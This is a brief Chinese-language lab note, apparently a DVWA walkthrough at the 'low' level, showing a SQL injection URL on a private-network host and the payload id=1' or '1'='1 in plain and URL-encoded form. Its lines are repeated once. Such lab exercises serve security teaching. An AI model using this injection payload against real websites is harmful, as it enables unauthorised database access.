level low
可以看到查询请求为
http://192.168.31.xxx/vulnerabilities/sqli/?id=1&Submit=Submit#
##### id 改为 `id=1' or '1'='1` 用来闭合单引号,实现注入
http://192.168.31.xxx/vulnerabilities/sqli/?id=1%27%20or%20%271%27=%20%271&Submit=Submit#
http://192.168.31.xxx/vulnerabilities/sqli/?id=1&Submit=Submit#
##### id 改为 `id=1' or '1'='1` 用来闭合单引号,实现注入
http://192.168.31.xxx/vulnerabilities/sqli/?id=1%27%20or%20%271%27=%20%271&Submit=Submit#